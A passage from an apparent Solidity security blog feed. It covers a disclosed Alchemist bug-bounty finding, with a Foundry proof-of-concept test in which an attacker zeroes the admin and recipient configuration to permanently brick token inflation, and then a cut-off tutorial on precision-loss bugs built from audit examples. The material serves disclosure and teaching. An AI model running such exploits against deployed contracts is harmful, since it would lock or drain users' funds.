<pre><code class="lang-solidity"><span class="hljs-keyword">uint</span> a <span class="hljs-operator">=</span> _pending[configID].timestamp;
</code></pre>
<p>In Solidity if _pending doesn't contain configID, an object containing all default member values of 0 will be returned! As the same behavior would cause many other programming languages to throw an exception or terminate, I have <a target="_blank" href="https://twitter.com/DevDacian/status/1646829933023625216">theorized</a> that this is a carry-over from other programming languages which developers subconsciously bring with them into Solidity, that's why it is seen across different projects &amp; different teams.</p>
<p>In seeking to leverage this vulnerability to maximize the damage, I examined other parts of the system and saw that I could brick the mint recipient to force Alchemist.advance() to revert, permanently stopping the flow of $MIST inflation for staking rewards via StreamV2 to Aludel.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// @audit Used by StreamV2.advanceAndDistribute() to</span>
<span class="hljs-comment">// distribute new inflation to stakers via Aludel</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">advance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
    <span class="hljs-comment">// require new epoch</span>
    <span class="hljs-built_in">require</span>(
        <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span> <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> _previousEpochTimestamp <span class="hljs-operator">+</span> getEpochDuration(),
        <span class="hljs-string">"not ready to advance"</span>
    );
    <span class="hljs-comment">// set epoch</span>
    _epoch<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
    _previousEpochTimestamp <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>;
    <span class="hljs-comment">// create snapshot</span>
    ERC20Snapshot._snapshot();
    <span class="hljs-comment">// calculate inflation amount</span>
    <span class="hljs-keyword">uint256</span> supplyMinted <span class="hljs-operator">=</span> (ERC20.totalSupply() <span class="hljs-operator">*</span> getInflationBps()) <span class="hljs-operator">/</span> <span class="hljs-number">10000</span>;
    <span class="hljs-comment">// mint to tokenManager</span>
    <span class="hljs-comment">// @audit can be bricked to 0 in TimelockConfig.confirmChange() exploit,</span>
    <span class="hljs-comment">// forcing this function to permanently revert, bricking $MIST staking rewards</span>
    ERC20._mint(getRecipient(), supplyMinted);
    <span class="hljs-comment">// emit event</span>
    <span class="hljs-keyword">emit</span> Advanced(_epoch, supplyMinted);
}
</code></pre>
<p>I then created a proof of concept to verify the attack:</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">AlchemistTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    Alchemist <span class="hljs-keyword">public</span> vulnContract;

    <span class="hljs-keyword">address</span> owner    <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">1</span>);
    <span class="hljs-keyword">address</span> attacker <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">2</span>);

    <span class="hljs-comment">// vuln contract params</span>
    <span class="hljs-keyword">address</span> recipient     <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">3</span>);
    <span class="hljs-keyword">uint256</span> inflationBps  <span class="hljs-operator">=</span> <span class="hljs-number">100</span>;
    <span class="hljs-keyword">uint256</span> epochDuration <span class="hljs-operator">=</span> <span class="hljs-number">1000</span>;
    <span class="hljs-keyword">uint256</span> timelock      <span class="hljs-operator">=</span> <span class="hljs-number">60</span> <span class="hljs-operator">*</span> <span class="hljs-number">60</span>;
    <span class="hljs-keyword">uint256</span> supply        <span class="hljs-operator">=</span> <span class="hljs-number">1000000</span>;
    <span class="hljs-keyword">uint256</span> epochStart    <span class="hljs-operator">=</span> <span class="hljs-number">1000</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUp</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        vm.prank(owner);
        vulnContract <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Alchemist(owner, recipient, inflationBps, epochDuration, timelock, supply, epochStart);

        assertEq(vulnContract.getAdmin(), owner);
        assertEq(vulnContract.getRecipient(), recipient);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testBrickAdvance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-comment">// allow time to pass, but don't initiate 1st step of config change</span>
        skip(timelock);

        <span class="hljs-comment">// attacker can brick all parts of the config to 0; setting recipient</span>
        <span class="hljs-comment">// to 0, can brick the advance() function. Combining this with</span>
        <span class="hljs-comment">// bricking the admin and it is not recoverable.</span>
        vm.startPrank(attacker);
        vulnContract.confirmChange(vulnContract.ADMIN_CONFIG_ID());
        vulnContract.confirmChange(vulnContract.RECIPIENT_CONFIG_ID());
        vm.stopPrank();

        assertEq(vulnContract.getRecipient(), <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>));
        assertEq(vulnContract.getAdmin(), <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>));

        vm.startPrank(owner);
        vm.expectRevert(<span class="hljs-string">"ERC20: mint to the zero address"</span>);
        vulnContract.advance();
        vm.stopPrank();
    }
}
</code></pre>
<p>After verifying the attack was valid I notified the Alchemist team.</p>
<h3 id="heading-timeline-of-events">Timeline Of Events</h3>
<p>17/03/2023 - identified the vulnerability and developed proof of concept,</p>
<p>18/03/2023 - alerted Alchemist team, supported them in deploying a temporary fix to prevent similar attacks &amp; advised on a permanent solution,</p>
<p>14/04/2023 - received bug bounty 10% of the treasury (liquid &amp; illiquid) with a combined value of $28K at time of receipt and permission from the Alchemist team to publicly publish this report.</p>
<h3 id="heading-lessons-for-developers">Lessons For Developers</h3>
<p>Solidity developers should be careful of the subconscious assumptions they bring with them from working in other programming environments; these may not hold true when coming to Solidity, Solidity may behave in the exact opposite ways they are used to. Solidity does not revert when addressing a non-existent index in a map, it returns an empty object with default member values.</p>
<p>Developers should be vigilant to verify that state transitions they are expecting to have occurred, have actually occurred. In a 2-step process, developers must verify that step 1 has occurred and revert if it hasn't.</p>
<p>Related sets of functions should have similar access controls. Exposing functions to arbitrary external callers increases the attack surface of your code; TimelockConfig.confirmChange() even with the unchecked state transition bug would have been protected simply through having the "onlyAdmin" modifier, preventing anyone but the admin from calling it.</p>
<p>Developers should seek to implement a <a target="_blank" href="https://en.wikipedia.org/wiki/Defense_in_depth_(computing)">Defence In Depth</a> strategy erring on the side of caution; functions should contain input validation, state validation, invariant/sanity checks. Developers should consider key parameters calculated within functions and include sanity checks reverting execution if they equal a value they shouldn't (such as 0), even if the developer can't imagine how an attacker might cause that to happen.</p>
<h3 id="heading-lessons-for-auditors">Lessons For Auditors</h3>
<p>Auditors should be aware of how they might <a target="_blank" href="https://dacian.me/exploiting-developer-assumptions">exploit developers' assumptions</a>; smart contract auditors should <em>consciously</em> ask themselves: What <em>subconscious</em> assumptions has the developer made, and are these assumptions valid? If not, can they be exploited?</p>
<p>When auditing a multi-step process, does the code verify at each step that the previous step has actually occurred, or has the developer assumed that the previous step has occurred and hence not correctly verified it?</p>
<p>When reviewing a function or code flow, every professional <a target="_blank" href="https://www.cyfrin.io/">smart contract auditor</a> should examine whether they can cause key parameters calculated inside functions to be set to 0 (or other unexpected values), whether the code will continue to execute with the 0/unexpected values, and what the consequences of this might be - <em>especially</em> if the developer has assumed that the code will execute with non-zero values.</p>
]]></content:encoded></item><item><title><![CDATA[Precision Loss Errors]]></title><description><![CDATA[Numerical operations in solidity can result in precision loss, where the amount that is calculated, saved and returned is incorrect and typically lower than it should be. These bugs can disadvantage users of decentralized finance platforms and they c...]]></description><link>https://dacian.me/precision-loss-errors</link><guid isPermaLink="true">https://dacian.me/precision-loss-errors</guid><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Web3]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Tue, 04 Apr 2023 13:15:35 GMT</pubDate><content:encoded><![CDATA[<p>Numerical operations in solidity can result in precision loss, where the amount that is calculated, saved and returned is incorrect and typically lower than it should be. These bugs can disadvantage users of decentralized finance platforms and they can also sometimes be used by attackers to drain funds from such platforms.</p>
<h3 id="heading-division-before-multiplication">Division Before Multiplication</h3>
<p>In Solidity division can result in rounding down errors, hence to minimize any rounding errors we always want to <a target="_blank" href="https://code4rena.com/reports/2023-01-numoen#h-01-precision-loss-in-the-invariant-function-can-lead-to-loss-of-funds">perform multiplication before division</a>. Consider this simplified <a target="_blank" href="https://github.com/code-423n4/2023-01-numoen/blob/2ad9a73d793ea23a25a381faadc86ae0c8cb5913/src/core/Pair.sol#L53-L67">code</a> from Numeon's code4rena contest:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">import</span> <span class="hljs-string">"openzeppelin-contracts/utils/math/Math.sol"</span>;

<span class="hljs-comment">// source: https://code4rena.com/reports/2023-01-numoen#h-01-precision-loss-in-the-invariant-function-can-lead-to-loss-of-funds</span>
<span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">InvariantError</span>(<span class="hljs-params"></span>)</span>;
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">errorInvariant</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> amount0,
                        <span class="hljs-keyword">uint</span> amount1,
                        <span class="hljs-keyword">uint</span> liquidity,
                        <span class="hljs-keyword">uint</span> token0Scale,
                        <span class="hljs-keyword">uint</span> token1Scale</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
    <span class="hljs-keyword">if</span> (liquidity <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
        <span class="hljs-built_in">require</span> (amount0 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> amount1 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-comment">// @audit: division can cause rounding so always want to do it last. Doing</span>
    <span class="hljs-comment">// multiplicationa after division as occurs here can cause precision loss</span>
    <span class="hljs-keyword">uint256</span> scale0 <span class="hljs-operator">=</span> Math.mulDiv(amount0, <span class="hljs-number">1e18</span>, liquidity) <span class="hljs-operator">*</span> token0Scale;
    <span class="hljs-keyword">uint256</span> scale1 <span class="hljs-operator">=</span> Math.mulDiv(amount1, <span class="hljs-number">1e18</span>, liquidity) <span class="hljs-operator">*</span> token1Scale;

    console.log(<span class="hljs-string">"Loss of precision: multiplication after division"</span>);
    console.log(<span class="hljs-string">"scale0 : "</span>, scale0);
    console.log(<span class="hljs-string">"scale1 : "</span>, scale1);

    <span class="hljs-keyword">uint</span> upperBound <span class="hljs-operator">=</span> <span class="hljs-number">5</span> <span class="hljs-operator">*</span> <span class="hljs-number">1e18</span>;
    <span class="hljs-keyword">if</span> (scale1 <span class="hljs-operator">&gt;</span> <span class="hljs-number">2</span> <span class="hljs-operator">*</span> upperBound) <span class="hljs-keyword">revert</span> InvariantError();

    <span class="hljs-keyword">uint256</span> a <span class="hljs-operator">=</span> scale0 <span class="hljs-operator">*</span> <span class="hljs-number">1e18</span>;
    <span class="hljs-keyword">uint256</span> b <span class="hljs-operator">=</span> scale1 <span class="hljs-operator">*</span> upperBound;
    <span class="hljs-keyword">uint256</span> c <span class="hljs-operator">=</span> (scale1 <span class="hljs-operator">*</span> scale1) <span class="hljs-operator">/</span> <span class="hljs-number">4</span>;
    <span class="hljs-keyword">uint256</span> d <span class="hljs-operator">=</span> upperBound <span class="hljs-operator">*</span> upperBound;

    console.log(<span class="hljs-string">"a      : "</span>, a);
    console.log(<span class="hljs-string">"b      : "</span>, b);
    console.log(<span class="hljs-string">"c      : "</span>, c);
    console.log(<span class="hljs-string">"d      : "</span>, d);

    <span class="hljs-keyword">return</span> a <span class="hljs-operator">+</span> b <span class="hljs-operator">-</span> c <span class="hljs-operator">-</span> d;
</code></pre>
<p>Here scale0 &amp; scale1 can be subject to significant loss of precision due to multiplication occurring after division which can go on to affect the subsequent calculations. To prevent this, always perform multiplication before division:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">correctInvariant</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> amount0,
                          <span class="hljs-keyword">uint</span> amount1,
                          <span class="hljs-keyword">uint</span> liquidity,
                          <span class="hljs-keyword">uint</span> token0Scale,
                          <span class="hljs-keyword">uint</span> token1Scale</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
    <span class="hljs-keyword">if</span> (liquidity <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>) {
        <span class="hljs-built_in">require</span> (amount0 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> amount1 <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-comment">// @audit: changed to perform division after multiplication</span>
    <span class="hljs-keyword">uint256</span> scale0 <span class="hljs-operator">=</span> Math.mulDiv(amount0 <span class="hljs-operator">*</span> token0Scale, <span class="hljs-number">1e18</span>, liquidity);
    <span class="hljs-keyword">uint256</span> scale1 <span class="hljs-operator">=</span> Math.mulDiv(amount1 <span class="hljs-operator">*</span> token1Scale, <span class="hljs-number">1e18</span>, liquidity);

    console.log(<span class="hljs-string">"Prevent precision loss: multiplication before division"</span>);
    console.log(<span class="hljs-string">"scale0 : "</span>, scale0);
    console.log(<span class="hljs-string">"scale1 : "</span>, scale1);

    <span class="hljs-keyword">uint</span> upperBound <span class="hljs-operator">=</span> <span class="hljs-number">5</span> <span class="hljs-operator">*</span> <span class="hljs-number">1e18</span>;
    <span class="hljs-keyword">if</span> (scale1 <span class="hljs-operator">&gt;</span> <span class="hljs-number">2</span> <span class="hljs-operator">*</span> upperBound) <span class="hljs-keyword">revert</span> InvariantError();

    <span class="hljs-keyword">uint256</span> a <span class="hljs-operator">=</span> scale0 <span class="hljs-operator">*</span> <span class="hljs-number">1e18</span>;
    <span class="hljs-keyword">uint256</span> b <span class="hljs-operator">=</span> scale1 <span class="hljs-operator">*</span> upperBound;
    <span class="hljs-keyword">uint256</span> c <span class="hljs-operator">=</span> (scale1 <span class="hljs-operator">*</span> scale1) <span class="hljs-operator">/</span> <span class="hljs-number">4</span>;
    <span class="hljs-keyword">uint256</span> d <span class="hljs-operator">=</span> upperBound <span class="hljs-operator">*</span> upperBound;

    console.log(<span class="hljs-string">"a      : "</span>, a);
    console.log(<span class="hljs-string">"b      : "</span>, b);
    console.log(<span class="hljs-string">"c      : "</span>, c);
    console.log(<span class="hljs-string">"d      : "</span>, d);

    <span class="hljs-keyword">return</span> a <span class="hljs-operator">+</span> b <span class="hljs-operator">-</span> c <span class="hljs-operator">-</span> d;
}
</code></pre>
<p>This code can be wrapped in a simple test harness to show exactly how the precision loss is occurring:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testInvariantDivBeforeMult</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">uint</span> token0Amount    <span class="hljs-operator">=</span> <span class="hljs-number">1.5</span><span class="hljs-operator">*</span><span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-number">6</span>;
    <span class="hljs-keyword">uint</span> token1Amount    <span class="hljs-operator">=</span> <span class="hljs-number">2</span> <span class="hljs-operator">*</span> (<span class="hljs-number">5</span> <span class="hljs-operator">*</span> <span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-number">24</span> <span class="hljs-operator">-</span> <span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-number">21</span>);
    <span class="hljs-keyword">uint</span> liquidity       <span class="hljs-operator">=</span> <span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-number">24</span>;
    <span class="hljs-keyword">uint</span> token0Precision <span class="hljs-operator">=</span> <span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-number">12</span>;
    <span class="hljs-keyword">uint</span> token1Precision <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;

    <span class="hljs-keyword">uint</span> result <span class="hljs-operator">=</span> vulnContract.errorInvariant(
        token0Amount, token1Amount, liquidity, token0Precision, token1Precision);
    assertEq(<span class="hljs-number">0</span>, result);

    result <span class="hljs-operator">=</span> vulnContract.correctInvariant(
        token0Amount, token1Amount, liquidity, token0Precision, token1Precision);
    assertEq(<span class="hljs-number">500000000000000000000000000000</span>, result);
}
</code></pre>
<p>The test output shows a significant loss of precision in "scale0" which is carried into "a":</p>
<pre><code class="lang-solidity">  Loss of precision: multiplication after division
  scale0 :  <span class="hljs-number">1000000000000</span>
  scale1 :  <span class="hljs-number">9998000000000000000</span>
  a      :  <span class="hljs-number">1000000000000000000000000000000</span>
  b      :  <span class="hljs-number">49990000000000000000000000000000000000</span>
  c      :  <span class="hljs-number">24990001000000000000000000000000000000</span>
  d      :  <span class="hljs-number">25000000000000000000000000000000000000</span>

  Prevent precision loss: multiplication before division
  scale0 :  <span class="hljs-number">1500000000000</span>
  scale1 :  <span class="hljs-number">9998000000000000000</span>
  a      :  <span class="hljs-number">1500000000000000000000000000000</span>
  b      :  <span class="hljs-number">49990000000000000000000000000000000000</span>
  c      :  <span class="hljs-number">24990001000000000000000000000000000000</span>
  d      :  <span class="hljs-number">25000000000000000000000000000000000000</span>
</code></pre>
<p>In the case of Numeon's audit, this precision loss in the invariant() function could have been used by an attacker to incorrectly satisfy the invariant check, allowing an attacker to drain funds from the contract.</p>
<p>Sometimes Division Before Multiplication errors can be hidden from auditors by function calls in the equation. One technique auditors can employ is to manually expand out the function calls, to reveal any hidden Division Before Multiplication. Consider this simplified finding from <a target="_blank" href="https://github.com/christos-eth/audits/blob/main/reports/solo/Yield-VR-Solo-Security-Review.md">Yield VR's audit</a>:</p>
<pre><code class="lang-solidity">iRate <span class="hljs-operator">=</span> baseVbr <span class="hljs-operator">+</span> utilRate.wmul(slope1).wdiv(optimalUsageRate)
<span class="hljs-comment">// expand out wmul &amp; wdiv to see what is actually going on</span>
<span class="hljs-comment">// iRate = baseVbr + utilRate * (slope1 / 1e18) * (1e18 / optimalUsageRate)</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// now can see Division Before Multiplication:</span>
<span class="hljs-comment">// (slope1 / 1e18) is then multiplied by (1e18 / optimalUsageRate),</span>
<span class="hljs-comment">// leading to precision loss.</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">// To fix, always perform Multiplication Before Division:</span>
<span class="hljs-comment">// iRate = baseVbr + utilRate * slope1 / optimalUsageRate;</span>
</code></pre>
<p>Here wmul() and wdiv() were hiding the fact that there was Division Before Multiplication, but once the functions calls are expanded it becomes visible. Always remember: <a target="_blank" href="https://medium.com/@soliditydeveloper.com/solidity-design-patterns-multiply-before-dividing-407980646f7">Multiplication Before Division</a>!</p>
<p>More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2023-01-ajna-judging/issues/121">1</a>, <a target="_blank" href="https://code4rena.com/reports/2023-01-numoen#m-06-division-before-multiplication-incurs-unnecessary-precision-loss">2</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-11-nounsdao-judging/issues/70">3</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-11-opyn-judging/issues/201">4</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-11-frankendao-judging/issues/48">5</a>, <a target="_blank" href="https://code4rena.com/reports/2021-12-defiprotocol#m-08-lost-fees-due-to-precision-loss-in-fees-calculation">6</a>, <a target="_blank" href="https://code4rena.com/reports/2022-09-canto/#m-02-calculated-token0tvl-may-be-zero-under-certain-scenarios">7</a>, <a target="_blank" href="https://code4rena.com/reports/2022-12-tessera/#m-09-groupbuys-that-are-completely-filled-still-dont-raise-stated-target-amount">8</a>, <a target="_blank" href="https://code4rena.com/reports/2022-06-illuminate/#h-02-division-before-multiplication-can-lead-to-zero-rounding-of-return-amount">9</a>]</p>
<h3 id="heading-rounding-down-to-zero">Rounding Down To Zero</h3>
<p>As we've previously seen, division in solidity can result in rounding down, and to minimize precision loss we always need to do multiplication before division. Yet even when we do this some precision loss can occur especially when dealing with small numbers, and <a target="_blank" href="https://github.com/sherlock-audit/2023-01-cooler-judging/issues/263">rounding down to zero</a> can be a source of major error if not handled correctly. Consider this simplified loan repayment <a target="_blank" href="https://github.com/sherlock-audit/2023-01-cooler/blob/main/src/Cooler.sol#L108-L124">code</a> from Cooler's sherlock contest:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// source: https://github.com/sherlock-audit/2023-01-cooler-judging/issues/263</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">errorRepay</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> repaid</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    console.log(<span class="hljs-string">"PrecisionLoss.errorRepay()"</span>);
    <span class="hljs-comment">// @audit if repaid small enough, decollateralized will round down to 0,</span>
    <span class="hljs-comment">// allowing loan to be repaid without changing collateral</span>
    <span class="hljs-keyword">uint</span> decollateralized <span class="hljs-operator">=</span> loanCollateral <span class="hljs-operator">*</span> repaid <span class="hljs-operator">/</span> loanAmount;

    loanAmount     <span class="hljs-operator">-</span><span class="hljs-operator">=</span> repaid;
    loanCollateral <span class="hljs-operator">-</span><span class="hljs-operator">=</span> decollateralized;

    console.log(<span class="hljs-string">"decollateralized : "</span>, decollateralized);
    console.log(<span class="hljs-string">"loanAmount       : "</span>, loanAmount);
    console.log(<span class="hljs-string">"loanCollateral   : "</span>, loanCollateral);
}
</code></pre>
<p>Here we have a loan that has been taken with some collateral, and a function to repay part or all of the loan. When repayment occurs, both the loan amount and the loan collateral must be proportionally reduced. However if repaying in small increments, "decollateralized" will round down to zero and hence the loan amount will be reduced without reducing the collateral. To fix this the function should revert if this would occur:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">correctRepay</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> repaid</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-keyword">uint</span> decollateralized <span class="hljs-operator">=</span> loanCollateral <span class="hljs-operator">*</span> repaid <span class="hljs-operator">/</span> loanAmount;

    <span class="hljs-comment">// @audit don't allow loan repayment without deducting from</span>
    <span class="hljs-comment">// collateral in the case of rounding to zero from small repayment</span>
    <span class="hljs-keyword">if</span>( decollateralized <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span> ) { <span class="hljs-keyword">revert</span>(<span class="hljs-string">"Round down to zero"</span>); }

    loanAmount     <span class="hljs-operator">-</span><span class="hljs-operator">=</span> repaid;
    loanCollateral <span class="hljs-operator">-</span><span class="hljs-operator">=</span> decollateralized;
}
</code></pre>
<p>Verify it using a simple test harness:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testDivRoundToZero</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-comment">// borrow 10 USDC using 1 USDC as collateral</span>
    <span class="hljs-keyword">uint</span> loanAmount     <span class="hljs-operator">=</span> <span class="hljs-number">10</span> <span class="hljs-operator">*</span> USDC_PRECISION;
    <span class="hljs-keyword">uint</span> loanCollateral <span class="hljs-operator">=</span> <span class="hljs-number">1</span>  <span class="hljs-operator">*</span> USDC_PRECISION;

    vulnContract.setLoanAmount(loanAmount);
    vulnContract.setLoanCollateral(loanCollateral);

    <span class="hljs-comment">// repay very small amount</span>
    <span class="hljs-keyword">uint</span> repayAmount    <span class="hljs-operator">=</span> <span class="hljs-number">0</span><span class="hljs-number">.000009</span> <span class="hljs-operator">*</span> <span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span><span class="hljs-number">6</span>;

    vulnContract.errorRepay(repayAmount);

    <span class="hljs-comment">// loan amount reduced but collateral stayed the same</span>
    assertEq(loanAmount<span class="hljs-operator">-</span>repayAmount, vulnContract.loanAmount());
    assertEq(loanCollateral, vulnContract.loanCollateral());

    vm.expectRevert(<span class="hljs-string">"Round down to zero"</span>);
    vulnContract.correctRepay(repayAmount);
}
</code></pre>
<p>The output from the test run shows the rounding to zero that occurs:</p>
<pre><code class="lang-solidity">  PrecisionLoss.errorRepay()
  decollateralized :  <span class="hljs-number">0</span>
  loanAmount       :  <span class="hljs-number">9999991</span>
  loanCollateral   :  <span class="hljs-number">1000000</span>
</code></pre>
<p>To prevent this error always consider if your computation may round down to zero, especially when using small numbers, and if so whether your code should revert. More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2022-12-notional-judging/issues/16">1</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-12-notional-judging/issues/10">2</a>, <a target="_blank" href="https://code4rena.com/reports/2022-12-caviar/#m-03-rounding-error-in-buyquote-might-result-in-free-tokens">3</a>, <a target="_blank" href="https://code4rena.com/reports/2022-11-redactedcartel#h-04-users-accrued-rewards-will-be-lost">4</a>, <a target="_blank" href="https://code4rena.com/reports/2022-03-biconomy#h-05-users-will-lose-a-majority-or-even-all-of-the-rewards-when-the-amount-of-total-shares-is-too-large-due-to-precision-loss">5</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-10-rage-trade-judging/issues/37">6</a>, <a target="_blank" href="https://code4rena.com/reports/2022-05-rubicon#h-04-first-depositor-can-break-minting-of-shares">7</a>, <a target="_blank" href="https://code4rena.com/reports/2022-11-redactedcartel/#h-03-malicious-users-can-drain-the-assets-of-auto-compound-vault">8</a>, <a target="_blank" href="https://code4rena.com/reports/2022-08-rigor/#h-02-builder-can-halve-the-interest-paid-to-a-community-owner-due-to-arithmetic-rounding">9</a>, <a target="_blank" href="https://code4rena.com/reports/2023-02-ethos/#h-03-rewards-will-be-locked-in-lqtystaking-contract">10</a>]</p>
<h3 id="heading-no-precision-scaling">No Precision Scaling</h3>
<p>Consider a trading pool that trades a primary token against a secondary token; these tokens could each have different precision. For example, DAI has 18 decimal places while USDC only has 6 decimal places; DAI/USDC or USDC/DAI are common stablecoin pools that allow market participants to trade between these two popular stablecoins.</p>
<p>Subtle loss of precision errors can occur if computation is done by combining the amounts of these two tokens with different precision, without <a target="_blank" href="https://github.com/sherlock-audit/2023-02-notional-judging/issues/8">first scaling the precision of the secondary token to the primary token's precision</a>.</p>
<p>Examine this simplified <a target="_blank" href="https://github.com/sherlock-audit/2023-02-notional/blob/main/leveraged-vaults/contracts/vaults/common/internal/pool/TwoTokenPoolUtils.sol#L67">code</a> from Notional's sherlock audit, which I have simplified to be run by itself in a simple test harness with logging to see internally where the loss of precision occurs. This code attempts to calculate the value of LP (Liquidity Provider) tokens in the trading pool's primary token for a trading pool composed of 2 tokens:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// source: https://github.com/sherlock-audit/2023-02-notional/blob/main/leveraged-vaults/contracts/vaults/common/internal/pool/TwoTokenPoolUtils.sol#L67</span>
<span class="hljs-comment">// given a trading pool of two tokens &amp; an amount of LP pool tokens,</span>
<span class="hljs-comment">// return the total value of the given LP tokens in the pool's primary token</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">errorGetWeightedBalance</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> token1Amount,
                                 <span class="hljs-keyword">uint</span> token1Precision,
                                 <span class="hljs-keyword">uint</span> token2Amount,
                                 <span class="hljs-keyword">uint</span> ,<span class="hljs-comment">//token2Precision,</span>
                                 <span class="hljs-keyword">uint</span> poolTotalSupply,
                                 <span class="hljs-keyword">uint</span> lpPoolTokens,
                                 <span class="hljs-keyword">uint</span> lpPoolTokensPrecision,
                                 <span class="hljs-keyword">uint</span> oraclePrice</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> primaryAmount</span>) </span>{
    console.log(<span class="hljs-string">"PrecisionLoss.errorGetWeightedBalance()"</span>);
    <span class="hljs-comment">// Get shares of primary and secondary balances with the provided poolClaim</span>
    <span class="hljs-keyword">uint256</span> primaryBalance   <span class="hljs-operator">=</span> token1Amount <span class="hljs-operator">*</span> lpPoolTokens <span class="hljs-operator">/</span> poolTotalSupply;
    <span class="hljs-keyword">uint256</span> secondaryBalance <span class="hljs-operator">=</span> token2Amount <span class="hljs-operator">*</span> lpPoolTokens <span class="hljs-operator">/</span> poolTotalSupply;

    console.log(<span class="hljs-string">"primaryBalance           : "</span>, primaryBalance);
    console.log(<span class="hljs-string">"secondaryBalance         : "</span>, secondaryBalance);

    <span class="hljs-comment">// Value the secondary balance in terms of the primary token using the oraclePrice</span>
